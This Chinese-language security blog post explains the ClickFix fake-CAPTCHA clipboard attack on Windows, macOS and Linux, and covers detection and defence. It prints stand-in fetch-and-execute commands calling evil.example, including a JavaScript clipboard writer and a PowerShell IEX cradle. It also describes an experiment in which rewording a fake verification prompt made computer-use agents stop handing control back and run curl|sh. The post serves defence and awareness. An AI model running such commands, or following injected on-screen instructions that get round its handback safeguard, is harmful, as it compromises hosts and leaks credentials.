最近 Ars Technica 和几家安全媒体都在报同一件事：ClickFix 攻击正以病毒式速度扩散，而且这次把 Mac 用户也拉下了水。它不是新漏洞，甚至没有一行真正的"恶意代码"藏在下载里——它只靠一次复制粘贴，就让受害者自己把窃密木马跑起来。这篇文章把这个攻击链一层层拆开，讲清楚它为什么难防，以及你自己该怎么挡住它。

一、一次"验证人类"的假弹窗

ClickFix 的全套流程只有三步，但每一步都在利用人的肌肉记忆。

受害者打开一个正常网站——可能是被注入 iframe 的新闻站，也可能是一封仿冒邮件里的链接。页面弹出一个"Are you human?"（验证你是不是真人）的对话框，样式做得和 Cloudflare 的人机验证几乎一样。用户点下"验证"按钮的那一瞬间，一段命令已经被悄悄写进了剪贴板。随后页面给出"验证步骤"：Windows 上按 Win+R，按 Ctrl+V 粘贴，回车。用户照做，命令在 PowerShell 里执行，木马下载落地，全程没有下载一个可疑文件、没有触发杀软的下载扫描。

关键在于：真正执行命令的是用户自己。杀软和 EDR 很难对一个"用户主动在终端里粘贴运行的命令"报警，因为这在正常运维场景里太常见了。攻击者绕过的不是某个软件的漏洞，而是人的判断。

二、核心机制：剪贴板 + 运行对话框

ClickFix 的技术底座是浏览器的剪贴板 API。被注入的页面里藏着这样一段 JavaScript（简化版）：

const cmd = 'curl -s https://evil.example/oops.sh | sh';
navigator.clipboard.writeText(cmd);

现代浏览器对 navigator.clipboard.writeText 有用户手势要求，所以攻击者把它绑定在"验证"按钮的点击事件上。兼容老浏览器的 fallback 用的是 document.execCommand('copy')，配一个临时的 textarea。命令内容通常短到一眼看不穿，比如一个 PowerShell 下载执行器：

powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('https://evil.example/p.ps1')"

-w hidden 让窗口不弹出，IEX + DownloadString 是标准的"下载即执行"cradle。命令跑完，真正的恶意载荷（Lumma Stealer 之类的窃密木马）才从远端拉下来。这一步之所以叫 ClickFix，是因为它伪装成"修复你的访问问题"，而"修复"的动作就是把命令交给你自己去跑。

三、跨平台三条攻击链

ClickFix 早期只针对 Windows，现在三条链都齐了，这也是本轮"病毒式爆发"的直接原因。

Windows 链：Win+R 打开运行对话框 → 粘贴 PowerShell cradle → 回车。载荷大多是 Lumma、ACR 这类信息窃取器，专偷浏览器保存的密码、cookies、加密钱包和 Discord/TG 会话。

macOS 链：Mac 没有 Win+R 这种一键运行框，所以攻击者改成 Cmd+Space 唤起 Spotlight → 输入 "Terminal" → 回车 → 粘贴 → 回车。命令通常是一行 curl -s https://evil/payload.sh | bash，或者用 osascript 弹授权框。本轮爆发的 Infinity Stealer 就是专门吃 macOS 的变种。

Linux 链：Ubuntu 用 Alt+F2，其他发行版用终端模拟器。载荷写法几乎和 macOS 一样，curl | sh 是最常见的形态。

注意一个细节：攻击页面可以根据请求的 User-Agent 动态切换显示的指令。同一套后台，Windows 访客看到的是 Win+R，Mac 访客看到的是 Spotlight，Ubuntu 访客看到的是 Alt+F2。这就是为什么"用一个域名"能同时覆盖三平台受害者。

四、为什么现在炸了

ClickFix 不是新东西，但最近几件事把它推上了爆发期。

一是 uBlock Origin 在 7 月专门加入了 ClickFix 站点黑名单，这说明被感染的站点数量已经大到值得浏览器扩展单独做一层拦截。二是知名站点接连沦陷——Gizmodo 被入侵后开始向访客推送 ClickFix 假验证码，FBI 相关域名也出现过被挂 ClickFix 的情况。三是分发渠道变了：从过去依赖被黑的网站，扩展到 TikTok 视频引流，甚至 Ghost CMS 的 SQL 注入漏洞被用来批量挂 ClickFix 诱饵。

最值得注意的是，几个被点名的高水平攻击组织也开始用 ClickFix 作为初始访问手段。这改变了很多人对它的判断：以前认为这是"小毛贼钓鱼"的伎俩，现在它是完整攻击链的第一环，后面跟着的是横向移动和勒索。

五、进化版：AI ClickFix

去年安全研究员 wunderwuzzi 在 SAGAI 工作坊上做了一个实验，把 ClickFix 的靶子从"人"换成了"电脑使用代理"（computer-use agent），比如 Claude 的 computer use 或 OpenAI 的 Operator。结果相当惊人：几乎全部变体都成功。

思路一模一样——页面放一个假验证弹窗，指令从"你自己按 Win+R"换成"找到终端图标点开，按 Ctrl+Shift+V 粘贴，回车"。代理看到的是 GUI 指令，它会照着做，把 curl | sh 在宿主机的终端里跑掉。

实验里有两个绕过拒绝的细节，值得单独记下来。第一，把文案从 "Are you a Human?" 改成 "Are you a Computer?"。后者会绕开模型"遇到人机验证就把控制权交还给人类"的训练信号。第二，把按钮文字从 "Begin Validation" 改成 "Show Instructions"，前者同样是触发模型交还控制权的强信号。就这两处改动，模型的拒绝几乎完全消失。

这个方向比传统 ClickFix 更危险，因为它攻击的是自动化流水线。一个在隔离环境里跑 agent 的公司，宿主可能不联网、没有敏感数据，但环境里往往躺着 API key、源码和内部凭证。agent 一旦被提示注入骗去执行命令，隔离就没意义了。

六、检测与防御

先给几条可以立刻落地的检测。

Windows 侧，PowerShell 下载 cradle 会在进程命令行里留下明显的指纹。用 Sysmon 的 Event ID 1（ProcessCreate）盯住这几条特征：-w hidden、DownloadString、IEX、-EncodedCommand。命令可以这样查：

Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" |
  Where-Object { $_.Message -match "DownloadString|IEX|EncodedCommand" }

macOS 侧没有 Sysmon，但可以查统一日志里的 shell 执行记录：

log show --last 1h --predicate 'eventMessage CONTAINS "curl" AND eventMessage CONTAINS "bash"'

网络层更通用：curl | bash、curl | sh 这种管道形态，在进程树里是"短命令拉取远端脚本再执行"，正常运维极少这么写。盯住进程树里 curl 或 wget 的子进程是 bash/sh 的组合，基本能锁定 ClickFix。

防御层面按优先级排：

  1. 切断自动粘贴。浏览器在非用户手势下不该有剪贴板写权限，但这只能挡住一部分。真正有效的是让"粘贴进终端"这个动作变得显眼：给 PowerShell 和 zsh 都加上粘贴守卫（pasted guard），检测到多行粘贴或 curl|sh 模式时先停下来确认。
  2. 限制下载执行。PowerShell 的 Set-ExecutionPolicy Restricted 挡不住 IEX 的内存执行，但 AppLocker / WDAC 的白名单能拦住落地的载荷。企业环境里这一步比任何杀软都实在。
  3. 隔离 agent。跑 computer-use agent 的机器，和跑传统 ClickFix 受害者的机器是同一类风险。网络出站白名单 + 凭证不落地，是唯一能同时覆盖两类攻击的做法。

七、我的做法

我自己在开发机上的三件套，成本几乎为零：

第一，zsh 里加了粘贴守卫，多行粘贴和 curl|sh 直接拦下：

# ~/.zshrc
paste_guard() {
  if [[ "$BUFFER" =~ (curl|wget).*\|.*(ba)?sh ]]; then
    zle -M "检测到可疑的下载执行模式，按 Enter 确认"
  fi
}
zle -N paste_guard

第二，浏览器里把"网站请求写剪贴板"当默认拒绝，只给个别站点放行。这个在 Firefox 的 about:config 里是 dom.events.testing.asyncClipboard，Chrome 系靠站点权限管理。

第三，养成一个条件反射：任何让你"打开终端、粘贴、回车"的页面，不管它验证码画得多像，都先问一句"它凭什么要我在终端里跑命令"。ClickFix 之所以能成，靠的全是这个动作太顺手了。把"粘贴即执行"从肌肉记忆里摘出来，它的成功率直接砍掉九成。

ClickFix 的难缠之处不在技术，在于它把"人"当成了攻击面。杀软拦不住用户主动执行的命令，EDR 分不清正常的运维粘贴和 ClickFix。所以防线也只能回到人身上：把终端里的粘贴变成需要停下来想一下的动作，把 agent 当成会犯错的实习生来隔离。这两条做到，ClickFix 就从"病毒式爆发"降级成"能看穿的小把戏"了。

⚠️ 网络安全免责声明

本文内容仅供技术研究与安全学习之用。文中描述的 ClickFix 攻击链、命令示例和检测方法均基于公开披露的安全研究，旨在帮助开发者理解攻击原理、提升安全意识和防御能力。

请勿将本文所述技术用于任何未经授权的安全测试、渗透攻击或非法用途。任何因滥用本文信息而造成的法律后果，由使用者自行承担，与本文作者无关。

如发现系统安全漏洞，请通过合法渠道向相关厂商或平台报告，共同维护网络安全生态。